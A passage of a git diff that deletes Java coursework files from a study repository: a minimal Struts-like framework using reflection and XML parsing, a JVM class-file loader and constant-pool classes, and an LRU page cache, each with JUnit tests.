-			Iterator<Entry<String, String>> iterator = entrySet.iterator();
-			while (iterator.hasNext()) {
-				Entry<String, String> next = iterator.next();
-				String key = next.getKey();
-				String value = next.getValue();
-				String setMethodName = "set" + key.substring(0, 1).toUpperCase() + key.substring(1);
-				Field declaredField = clazzType.getDeclaredField(key);
-				Method setMehtod = clazzType.getDeclaredMethod(setMethodName, new Class[] { declaredField.getType() });
-				setMehtod.invoke(newInstance, value);
-			}
-			// 6、执行execute方法
-			String executeMethodName = "execute";
-			Method executeMethod = clazzType.getDeclaredMethod(executeMethodName);
-			Object resultString = (String) executeMethod.invoke(newInstance);
-
-			// 7、通过反射获取message信息
-			String getMethodName = "getMessage";
-			Field declaredField = clazzType.getDeclaredField("message");
-			Method getMehtod = clazzType.getDeclaredMethod(getMethodName);
-			String message = (String) getMehtod.invoke(newInstance);
-
-			// 8\
-			String jsp = actionMap.get(resultString);
-			view.setJsp(jsp);
-			Map<String, String> hashMap = new HashMap<>();
-			hashMap.put("message", message);
-			view.setParameters(hashMap);
-		} catch (Exception e) {
-			e.printStackTrace();
-			throw new ExceptionInInitializerError();
-		}
-		return view;
-    }    
-    
-	public static void init() throws Exception {
-
-		// 1、获取工厂实例
-		DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
-		// 2、获取dom解析器
-		DocumentBuilder db = dbf.newDocumentBuilder();
-		// 3、解析xml文档，获取document对象(根节点)
-		// 也可以获取流使用db.parse(InputStream)
-		// InputStream is =
-		// this.getClass().getResourceAsStream("D:\\GitHub\\coding2017\\group23\\381519422\\litestruts\\src\\main\\resources\\struts.xml");
-		Document document = db.parse(
-				new File("D:\\GitHub\\coding2017\\group23\\381519422\\litestruts\\src\\main\\resources\\struts.xml"));
-		NodeList list = document.getElementsByTagName("action");
-
-		/*
-		 * 开始循环list，list中每一个元素结构如下
-		 * 	<action name="login" class="com.coderising.litestruts.LoginAction">
-				<result name="success">/jsp/homepage.jsp</result>
-				<result name="fail">/jsp/showLogin.jsp</result>
-			</action>
-		 */
-		for (int i = 0; i < list.getLength(); i++) {
-			Map<String, String> actionMap = new HashMap<String, String>();
-			// 注意：使用的都是org.w3c.dom包下的
-			Element element = (Element) list.item(i);
-			// 获取<action name="login">中 name对应的属性值
-			String actionAttributeName = element.getAttribute("name");
-			String className = element.getAttribute("class");
-			actionMap.put("class", className);
-
-			// 读取第一个action
-			NamedNodeMap nnm = element.getElementsByTagName("result").item(0).getAttributes();
-			// 获取<result name="success">的属性 name
-			// String nodeName = nnm.item(0).getNodeName();
-			// element.getElementsByTagName("result").item(0)
-			// 是<result name="success">/jsp/homepage.jsp</result>
-			// getFirstChild().getNodeValue() 是获取上面内容的/jsp/homepage.jsp
-			String context = element.getElementsByTagName("result").item(0).getTextContent();
-			// 获取<result name="success">的属性 name对应的值success
-			String nodeValue = nnm.item(0).getNodeValue();
-			actionMap.put(nodeValue, context);
-			
-			// 读取第二个action
-			nnm = element.getElementsByTagName("result").item(1).getAttributes();
-			// 获取<result name="success">的属性 name
-			// nodeName = nnm.item(0).getNodeName();
-			context = element.getElementsByTagName("result").item(1).getFirstChild().getNodeValue();
-			// 获取<result name="success">的属性 name对应的值success
-			nodeValue = nnm.item(0).getNodeValue();
-			actionMap.put(nodeValue, context);
-			
-			rootMap.put(actionAttributeName, actionMap);
-		}
-	}
-	
-	public static void main(String[] args) {
-		try {
-			init();
-		} catch (Exception e) {
-			// TODO Auto-generated catch block
-			e.printStackTrace();
-		}
-	}
-	// 内部类用于存放从配置文件读取的数据
-	class StrutsMap {
-		private HashMap<String, String> map;
-
-		public String get(String key) {
-			return map.get(key);
-		}
-
-		public void set(String key, String value) {
-			map.put(key, value);
-		}
-	}
-}
diff --git a/group23/381519422/litestruts/src/main/java/com/xiaol/study/StrutsTest.java b/group23/381519422/litestruts/src/main/java/com/xiaol/study/StrutsTest.java
deleted file mode 100644
index 53c1e7187c..0000000000
--- a/group23/381519422/litestruts/src/main/java/com/xiaol/study/StrutsTest.java
+++ /dev/null
@@ -1,43 +0,0 @@
-package com.xiaol.study;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-
-
-
-
-public class StrutsTest {
-
-	@Test
-	public void testLoginActionSuccess() {
-		
-		String actionName = "login";
-        
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","1234");
-        
-        
-        View view  = Struts.runAction(actionName,params);        
-        
-        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
-        Assert.assertEquals("login successful", view.getParameters().get("message"));
-	}
-
-	@Test
-	public void testLoginActionFailed() {
-		String actionName = "login";
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","123456"); //密码和预设的不一致
-        
-        View view  = Struts.runAction(actionName,params);        
-        
-        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
-        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
-	}
-}
diff --git a/group23/381519422/litestruts/src/main/java/com/xiaol/study/View.java b/group23/381519422/litestruts/src/main/java/com/xiaol/study/View.java
deleted file mode 100644
index 41999670b8..0000000000
--- a/group23/381519422/litestruts/src/main/java/com/xiaol/study/View.java
+++ /dev/null
@@ -1,26 +0,0 @@
-package com.xiaol.study;
-
-import java.util.Map;
-
-public class View {
-	private String jsp;
-	private Map parameters;
-
-	public String getJsp() {
-		return jsp;
-	}
-
-	public View setJsp(String jsp) {
-		this.jsp = jsp;
-		return this;
-	}
-
-	public Map getParameters() {
-		return parameters;
-	}
-
-	public View setParameters(Map parameters) {
-		this.parameters = parameters;
-		return this;
-	}
-}
diff --git a/group23/381519422/litestruts/src/main/resources/struts.xml b/group23/381519422/litestruts/src/main/resources/struts.xml
deleted file mode 100644
index 32cf9d90c4..0000000000
--- a/group23/381519422/litestruts/src/main/resources/struts.xml
+++ /dev/null
@@ -1,24 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<struts>
-	<action name="login" class="com.xiaol.study.LoginAction">
-		<result name="success">/jsp/homepage.jsp</result>
-		<result name="fail">/jsp/showLogin.jsp</result>
-	</action>
-	<action name="logout" class="com.xiaol.study.LogoutAction">
-		<result name="success">/jsp/welcome.jsp</result>
-		<result name="error">/jsp/error.jsp</result>
-	</action>
-</struts>
-
-<!-- backup -->
-<!-- <?xml version="1.0" encoding="UTF-8"?> -->
-<!-- <struts> -->
-<!-- 	<action name="login" class="com.coderising.litestruts.LoginAction"> -->
-<!-- 		<result name="success">/jsp/homepage.jsp</result> -->
-<!-- 		<result name="fail">/jsp/showLogin.jsp</result> -->
-<!-- 	</action> -->
-<!-- 	<action name="logout" class="com.coderising.litestruts.LogoutAction"> -->
-<!-- 		<result name="success">/jsp/welcome.jsp</result> -->
-<!-- 		<result name="error">/jsp/error.jsp</result> -->
-<!-- 	</action> -->
-<!-- </struts> -->
\ No newline at end of file
diff --git a/group23/563253496/week4_jvm1/src/com/coderising/jvm/loader/ClassFileLoader.java b/group23/563253496/week4_jvm1/src/com/coderising/jvm/loader/ClassFileLoader.java
deleted file mode 100644
index 5f56b80bff..0000000000
--- a/group23/563253496/week4_jvm1/src/com/coderising/jvm/loader/ClassFileLoader.java
+++ /dev/null
@@ -1,81 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.io.*;
-import java.util.ArrayList;
-import java.util.List;
-
-
-public class ClassFileLoader {
-
-    private List<String> clzPaths = new ArrayList<String>();
-
-    public byte[] readBinaryCode(String className) {
-        String path = getClassFilePath(className);
-        if (path != null) {
-            try {
-                BufferedInputStream bis = new BufferedInputStream(new FileInputStream(path));
-                int count = bis.available();
-                byte[] content = new byte[count];
-                int len = bis.read(content,0,count);
-                return content;
-            } catch (FileNotFoundException e) {
-                e.printStackTrace();
-            } catch (IOException e) {
-                e.printStackTrace();
-            }
-        }
-        return null;
-
-
-    }
-
-    private byte[] loadClassFile(String clzFileName) {
-
-        return null;
-    }
-
-
-    public void addClassPath(String path) {
-        clzPaths.add(path);
-    }
-
-    public String getClassPath_V1() {
-
-        return null;
-    }
-
-    public String getClassPath() {
-        StringBuilder sb = new StringBuilder();
-        for (String s : clzPaths) {
-            sb.append(s);
-            sb.append(";");
-        }
-        sb.deleteCharAt(sb.length() - 1);
-        return sb.toString();
-    }
-
-    private String getClassFilePath(String className) {
-        StringBuilder sb = new StringBuilder();
-        for (String path : clzPaths
-                ) {
-            sb.append(path);
-            sb.append("\\");
-            char[] classname = className.toCharArray();
-            for (int i = 0; i < classname.length; i++) {
-                if (classname[i] == '.') {
-                    sb.append("\\");
-
-                } else {
-                    sb.append(classname[i]);
-                }
-            }
-            sb.append(".class");
-            String classpath = sb.toString();
-            File file = new File(classpath);
-            if (file.exists()) {
-                return classpath;
-            }
-        }
-        return null;
-    }
-}
diff --git a/group23/563253496/week4_jvm1/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group23/563253496/week4_jvm1/src/com/coderising/jvm/test/ClassFileloaderTest.java
deleted file mode 100644
index 1e00b5f2f5..0000000000
--- a/group23/563253496/week4_jvm1/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ /dev/null
@@ -1,92 +0,0 @@
-package com.coderising.jvm.test;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.jvm.loader.ClassFileLoader;
-
-
-
-
-
-public class ClassFileloaderTest {
-
-	
-	static String path1 = "D:\\mygit\\coding2017\\group23\\563253496\\week5_jvm\\out\\production\\untitled";
-	static String path2 = "C:\\temp";
-	
-	
-	
-	@Before
-	public void setUp() throws Exception {		 
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-	
-	@Test
-	public void testClassPath(){		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-		
-		String clzPath = loader.getClassPath();
-		
-		Assert.assertEquals(path1+";"+path2,clzPath);
-		
-	}
-	
-	@Test
-	public void testClassFileLength() {		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		byte[] byteCodes = loader.readBinaryCode(className);
-		
-		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-		Assert.assertEquals(1056, byteCodes.length);
-		
-	}
-	
-	
-    @Test	
-	public void testMagicNumber(){
-    	ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-		
-		
-		String acctualValue = this.byteToHexString(codes);
-		
-		Assert.assertEquals("cafebabe", acctualValue);
-	}
-    
-    
-    
-    
-    
-    
-	private String byteToHexString(byte[] codes ){
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<codes.length;i++){
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if(strHex.length()< 2){
-				strHex = "0" + strHex;
-			}		
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-
-}
diff --git a/group23/563253496/week4_jvm1/src/com/coderising/jvm/test/EmployeeV1.java b/group23/563253496/week4_jvm1/src/com/coderising/jvm/test/EmployeeV1.java
deleted file mode 100644
index 12e3d7efdd..0000000000
--- a/group23/563253496/week4_jvm1/src/com/coderising/jvm/test/EmployeeV1.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.coderising.jvm.test;
-
-public class EmployeeV1 {
-	
-	
-	private String name;
-    private int age;
-    
-    public EmployeeV1(String name, int age) {
-        this.name = name;
-        this.age = age;        
-    }    
-
-    public void setName(String name) {
-        this.name = name;
-    }
-    public void setAge(int age){
-    	this.age = age;
-    }
-    public void sayHello() {        
-    	System.out.println("Hello , this is class Employee ");    	
-    }
-    public static void main(String[] args){
-    	EmployeeV1 p = new EmployeeV1("Andy",29);
-    	p.sayHello();    
-    	
-    }
-}
\ No newline at end of file
diff --git a/group23/563253496/week4_lru/src/LRUPageFrame.java b/group23/563253496/week4_lru/src/LRUPageFrame.java
deleted file mode 100644
index d7d7aebf10..0000000000
--- a/group23/563253496/week4_lru/src/LRUPageFrame.java
+++ /dev/null
@@ -1,135 +0,0 @@
-/**
- * Created by bdl19 on 2017/3/29.
- */
-public class LRUPageFrame {
-
-    private static class Node {
-
-        Node prev;
-        Node next;
-        int pageNum;
-
-        Node() {
-        }
-    }
-
-    private int capacity;
-
-
-    private Node first;// 链表头
-    private Node last;// 链表尾
-
-
-    public LRUPageFrame(int capacity) {
-
-        this.capacity = capacity;
-        initialize();
-        //count = 0;
-    }
-
-    /**
-     * 获取缓存中对象
-     *
-     * @param
-     * @return
-     */
-    public void access(int pageNum) {
-        int index = checkPageNum(pageNum);
-        if (index < 0) {
-            addNewNode(pageNum);
-        } else {
-            moveNode(index);
-        }
-
-    }
-
-    private void moveNode(int index) {
-        Node temp = first;
-        if (index == capacity - 1) {
-            Node node = last;
-            last = last.prev;
-            node.prev.next = null;
-
-            node.prev = null;
-            node.next = first;
-
-
-            first.prev = node;
-            first = node;
-            return;
-        }
-
-        if (index == 0) {
-            return;
-        }
-
-        for (int i = 0; i < index; i++) {
-            temp = temp.next;
-        }
-
-        temp.prev.next = temp.next;
-        temp.next.prev = temp.prev;
-        temp.next = first;
-        temp.prev = null;
-        first.prev = temp;
-        first = temp;
-    }
-
-    private void addNewNode(int pageNum) {
-        Node node = new Node();
-        first.prev = node;
-        node.next = first;
-        first.prev = node;
-        node.pageNum = pageNum;
-        first = node;
-        last = last.prev;
-        last.next = null;
-    }
-
-
-    private int checkPageNum(int num) {
-        Node node = first;
-        int index = 0;
-        while (node != null) {
-            if (node.pageNum == num) {
-                return index;
-            }
-            index++;
-            node = node.next;
-        }
-        return -1;
-    }
-
-
-    private void initialize() {
-        if (capacity <= 0) {
-            throw new IndexOutOfBoundsException();
-        }
-        Node node = new Node();
-        first = node;
-        last = node;
-        for (int i = 0; i < capacity - 1; i++) {
-            Node n = new Node();
-            Node temp = last;
-            last.next = n;
-            last = n;
-            last.prev = temp;
-        }
-    }
-
-
-    public String toString() {
-        StringBuilder buffer = new StringBuilder();
-        Node node = first;
-        while (node != null) {
-            buffer.append(node.pageNum);
-
-            node = node.next;
-            if (node != null) {
-                buffer.append(",");
-            }
-        }
-        return buffer.toString();
-    }
-
-}
diff --git a/group23/563253496/week4_lru/src/LRUPageFrameTest.java b/group23/563253496/week4_lru/src/LRUPageFrameTest.java
deleted file mode 100644
index 41e3727e34..0000000000
--- a/group23/563253496/week4_lru/src/LRUPageFrameTest.java
+++ /dev/null
@@ -1,34 +0,0 @@
-import org.junit.Test;
-import org.junit.Before;
-import org.junit.After;
-import org.junit.Assert;
-/**
-* LRUPageFrame Tester.
-*
-* @author <Authors name>
-* @since <pre>���� 29, 2017</pre>
-* @version 1.0
-*/ public class LRUPageFrameTest {
-
-    @Test
-    public void testAccess() {
-        LRUPageFrame frame = new LRUPageFrame(3);
-        frame.access(7);
-        frame.access(0);
-        frame.access(1);
-        Assert.assertEquals("1,0,7", frame.toString());
-        frame.access(2);
-        Assert.assertEquals("2,1,0", frame.toString());
-        frame.access(0);
-        Assert.assertEquals("0,2,1", frame.toString());
-        frame.access(0);
-        Assert.assertEquals("0,2,1", frame.toString());
-        frame.access(3);
-        Assert.assertEquals("3,0,2", frame.toString());
-        frame.access(0);
-        Assert.assertEquals("0,3,2", frame.toString());
-        frame.access(4);
-        Assert.assertEquals("4,0,3", frame.toString());
-    }
-
-}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/clz/AccessFlag.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/clz/AccessFlag.java
deleted file mode 100644
index faae056835..0000000000
--- a/group23/563253496/week5_jvm/src/com/coderising/jvm/clz/AccessFlag.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package com.coderising.jvm.clz;
-
-public class AccessFlag {
-	private int flagValue;
-
-	public AccessFlag(int value) {
-		this.flagValue = value;
-	}
-
-	public int getFlagValue() {
-		return flagValue;
-	}
-
-	public void setFlagValue(int flag) {
-		this.flagValue = flag;
-	}
-	
-	public boolean isPublicClass(){
-		return (this.flagValue & 0x0001) != 0;
-	}
-	public boolean isFinalClass(){
-		return (this.flagValue & 0x0010) != 0;
-	}
-	
-}
\ No newline at end of file
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/clz/ClassFile.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/clz/ClassFile.java
deleted file mode 100644
index 650ca8375d..0000000000
--- a/group23/563253496/week5_jvm/src/com/coderising/jvm/clz/ClassFile.java
+++ /dev/null
@@ -1,75 +0,0 @@
-package com.coderising.jvm.clz;
-
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class ClassFile {
-	
-	private int minorVersion;
-	private int majorVersion;
-	
-	private AccessFlag accessFlag;
-	private ClassIndex clzIndex;
-	private ConstantPool pool;
-	
-	
-	public ClassIndex getClzIndex() {
-		return clzIndex;
-	}
-	public AccessFlag getAccessFlag() {
-		return accessFlag;
-	}
-	public void setAccessFlag(AccessFlag accessFlag) {
-		this.accessFlag = accessFlag;
-	}
-	
-	
-	
-	public ConstantPool getConstantPool() {		
-		return pool;
-	}
-	public int getMinorVersion() {
-		return minorVersion;
-	}
-	public void setMinorVersion(int minorVersion) {
-		this.minorVersion = minorVersion;
-	}
-	public int getMajorVersion() {
-		return majorVersion;
-	}
-	public void setMajorVersion(int majorVersion) {
-		this.majorVersion = majorVersion;
-	}
-	public void setConstPool(ConstantPool pool) {
-		this.pool = pool;
-		
-	}
-	public void setClassIndex(ClassIndex clzIndex) {
-		this.clzIndex = clzIndex;		
-	}
-	
-	
-	
-	
-	public void print(){
-		
-		if(this.accessFlag.isPublicClass()){
-			System.out.println("Access flag : public  ");
-		}
-		System.out.println("Class Name:"+ getClassName());
-		
-		System.out.println("Super Class Name:"+ getSuperClassName());
-		
-		
-	}
-	
-	private String getClassName(){
-		int thisClassIndex = this.clzIndex.getThisClassIndex();
-		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
-		return thisClass.getClassName();
-	}
-	private String getSuperClassName(){
-		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
-		return superClass.getClassName();
-	}
-}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/clz/ClassIndex.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/clz/ClassIndex.java
deleted file mode 100644
index e424f284b3..0000000000
--- a/group23/563253496/week5_jvm/src/com/coderising/jvm/clz/ClassIndex.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.clz;
-
-public class ClassIndex {
-	private int thisClassIndex;
-	private int superClassIndex;
-	
-	public int getThisClassIndex() {
-		return thisClassIndex;
-	}
-	public void setThisClassIndex(int thisClassIndex) {
-		this.thisClassIndex = thisClassIndex;
-	}
-	public int getSuperClassIndex() {
-		return superClassIndex;
-	}
-	public void setSuperClassIndex(int superClassIndex) {
-		this.superClassIndex = superClassIndex;
-	}
-}
\ No newline at end of file
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/ClassInfo.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/ClassInfo.java
deleted file mode 100644
index aea9048ea4..0000000000
--- a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/ClassInfo.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class ClassInfo extends ConstantInfo {
-	private int type = ConstantInfo.CLASS_INFO;
-	private int utf8Index ;
-	public ClassInfo(ConstantPool pool) {
-		super(pool);
-	}
-	public int getUtf8Index() {
-		return utf8Index;
-	}
-	public void setUtf8Index(int utf8Index) {
-		this.utf8Index = utf8Index;
-	}
-	public int getType() {
-		return type;
-	}
-	
-	public String getClassName() {		
-		int index = getUtf8Index();
-		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
-		return utf8Info.getValue();		
-	}
-}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/ConstantInfo.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/ConstantInfo.java
deleted file mode 100644
index 466b072244..0000000000
--- a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/ConstantInfo.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package com.coderising.jvm.constant;
-
-public abstract class ConstantInfo {
-	public static final int UTF8_INFO = 1;
-	public static final int FLOAT_INFO = 4;
-	public static final int CLASS_INFO = 7;
-	public static final int STRING_INFO = 8;
-	public static final int FIELD_INFO = 9;
-	public static final int METHOD_INFO = 10;
-	public static final int NAME_AND_TYPE_INFO = 12;
-	protected ConstantPool constantPool;
-	
-	public ConstantInfo(){
-		
-	}
-	
-	public ConstantInfo(ConstantPool pool) {
-		this.constantPool = pool;
-	}
-	public abstract int getType();
-	
-	public ConstantPool getConstantPool() {
-		return constantPool;
-	}
-	public ConstantInfo getConstantInfo(int index){
-		return this.constantPool.getConstantInfo(index);
-	}
-	
-}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/ConstantPool.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/ConstantPool.java
deleted file mode 100644
index 86c0445695..0000000000
--- a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/ConstantPool.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package com.coderising.jvm.constant;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class ConstantPool {
-	
-	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
-	
-	
-	public ConstantPool(){
-		
-	}
-	public void addConstantInfo(ConstantInfo info){
-		
-		this.constantInfos.add(info);
-		
-	}
-	
-	public ConstantInfo getConstantInfo(int index){
-		return this.constantInfos.get(index);
-	}
-	public String getUTF8String(int index){
-		return ((UTF8Info)this.constantInfos.get(index)).getValue();
-	}
-	public Object getSize() {		
-		return this.constantInfos.size() -1;
-	}
-}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
deleted file mode 100644
index 65475e194c..0000000000
--- a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
+++ /dev/null
@@ -1,54 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class FieldRefInfo extends ConstantInfo{
-	private int type = ConstantInfo.FIELD_INFO;
-	private int classInfoIndex;
-	private int nameAndTypeIndex;
-	
-	public FieldRefInfo(ConstantPool pool) {
-		super(pool);
-	}
-	public int getType() {
-		return type;
-	}
-	
-	public int getClassInfoIndex() {
-		return classInfoIndex;
-	}
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-	
-	public String toString(){
-		
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		
-		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
-	}
-	
-	public String getClassName(){
-		
-		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
-		
-		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
-		
-		return utf8Info.getValue();
-		
-	}
-	
-	public String getFieldName(){
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getName();		
-	}
-	
-	public String getFieldType(){
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getTypeInfo();	
-	}
-}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
deleted file mode 100644
index 7f05870020..0000000000
--- a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
+++ /dev/null
@@ -1,55 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class MethodRefInfo extends ConstantInfo {
-	
-	private int type = ConstantInfo.METHOD_INFO;
-	
-	private int classInfoIndex;	
-	private int nameAndTypeIndex;
-	
-	public MethodRefInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	public int getType() {
-		return type;
-	}
-	
-	public int getClassInfoIndex() {
-		return classInfoIndex;
-	}
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-	
-	public String toString(){
-	
-		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
-	}
-	public String getClassName(){
-		ConstantPool pool = this.getConstantPool();		
-		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
-		return clzInfo.getClassName();
-	}
-	
-	public String getMethodName(){
-		ConstantPool pool = this.getConstantPool();
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getName();
-	}
-	
-	public String getParamAndReturnType(){
-		ConstantPool pool = this.getConstantPool();
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getTypeInfo();
-	}
-	
-	
-	
-}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
deleted file mode 100644
index 402f9dec86..0000000000
--- a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
+++ /dev/null
@@ -1,45 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class NameAndTypeInfo extends ConstantInfo{
-	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
-	
-	private int index1;
-	private int index2;
-	
-	public NameAndTypeInfo(ConstantPool pool) {
-		super(pool);
-	}
-	
-	public int getIndex1() {
-		return index1;
-	}
-	public void setIndex1(int index1) {
-		this.index1 = index1;
-	}
-	public int getIndex2() {
-		return index2;
-	}
-	public void setIndex2(int index2) {
-		this.index2 = index2;
-	}
-	public int getType() {
-		return type;
-	}
-	
-	
-	public String getName(){
-		ConstantPool pool = this.getConstantPool();
-		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
-		return utf8Info1.getValue();
-	}
-	
-	public String getTypeInfo(){
-		ConstantPool pool = this.getConstantPool();
-		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
-		return utf8Info2.getValue();
-	}
-	
-	public String toString(){
-		return "(" + getName() + "," + getTypeInfo()+")";
-	}
-}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
deleted file mode 100644
index 936736016f..0000000000
--- a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
+++ /dev/null
@@ -1,13 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class NullConstantInfo extends ConstantInfo {
-
-	public NullConstantInfo(){
-		
-	}
-	@Override
-	public int getType() {		
-		return -1;
-	}
-	
-}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/StringInfo.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/StringInfo.java
deleted file mode 100644
index f1f8eb4ed4..0000000000
--- a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/StringInfo.java
+++ /dev/null
@@ -1,26 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class StringInfo extends ConstantInfo{
-	private int type = ConstantInfo.STRING_INFO;
-	private int index;
-	public StringInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	public int getType() {
-		return type;
-	}
-	
-	public int getIndex() {
-		return index;
-	}
-	public void setIndex(int index) {
-		this.index = index;
-	}
-
-	
-	public String toString(){
-		return this.getConstantPool().getUTF8String(index);
-	}
-	
-}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/UTF8Info.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/UTF8Info.java
deleted file mode 100644
index 5cac9f04f7..0000000000
--- a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/UTF8Info.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class UTF8Info extends ConstantInfo{
-	private int type = ConstantInfo.UTF8_INFO;
-	private int length ;
-	private String value;
-	public UTF8Info(ConstantPool pool) {
-		super(pool);
-	}
-	public int getLength() {
-		return length;
-	}
-	public void setLength(int length) {
-		this.length = length;
-	}
-	public int getType() {
-		return type;
-	}
-	@Override
-	public String toString() {
-		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
-	}
-	public String getValue() {
-		return value;
-	}
-	public void setValue(String value) {
-		this.value = value;
-	}
-	
-	
-
-}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
deleted file mode 100644
index 577e41536b..0000000000
